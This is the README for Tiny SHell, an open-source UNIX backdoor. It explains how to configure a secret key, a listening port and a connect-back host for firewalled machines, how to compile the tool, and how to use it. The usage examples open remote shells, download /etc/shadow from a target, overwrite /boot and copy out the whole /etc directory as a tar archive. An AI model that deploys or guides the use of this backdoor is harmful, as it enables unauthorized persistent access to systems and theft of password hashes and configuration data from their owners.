Tiny SHell - An open-source UNIX backdoor
* Before compiling Tiny SHell
1. First of all, you should setup your secret key, which
is located in tsh.h; the key can be of any length (use
at least 12 characters for better security).
2. It is advised to change SERVER_PORT, the port on which
the server will be listening for incoming connections.
3. You may want to start tshd in "connect-back" mode if
it runs on on a firewalled box; simply uncomment and
modify CONNECT_BACK_HOST in tsh.h.
* Compiling Tiny SHell
Run "make <system>", where <system> can be any one of these:
linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
* How to use the server
It can be useful to set $HOME and the file creation mask
before starting the server:
% umask 077; HOME=/var/tmp ./tshd
* How to use the client
Make sure tshd is running on the remote host. You can:
- start a shell:
./tsh <hostname>
- execute a command:
./tsh <hostname> "uname -a"
- transfer files:
./tsh <hostname> get /etc/shadow .
./tsh <hostname> put vmlinuz /boot
Note: if the server runs in connect-back mode, replace
the remote machine hostname with "cb".
* About multiple file transfers
At the moment, Tiny SHell does not support scp-like multiple
and/or recursive file transfers. You can work around this bug
by simply making a tar archive and transferring it. Example:
./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -
* About terminal modes
On some brain-dead systems (actually, IRIX and HP-UX), Ctrl-C
and other control keys do not work correctly. Fix it with:
% stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"
* About security
Please remember that the secret key is stored in clear inside
both tsh and tshd executables; therefore you should make sure
that no one except you has read access to these two files.
However, you may choose not to store the real (valid) key in
the client, which will then ask for a password when it starts.
* Notes regarding SCTP version:
Only tested on Archlinux so far, expect it to fail hideously
on anything else.
Is a fairly ugly hack, has some compiling errors which I plan to
eventually track down and fix.
Security of the backdoor file (tsh) - i.e. the password being in
cleartext is to be fixed soonish by only storing a hashed password.
Testing on hpux, *bsd, etc once I have access to such boxes.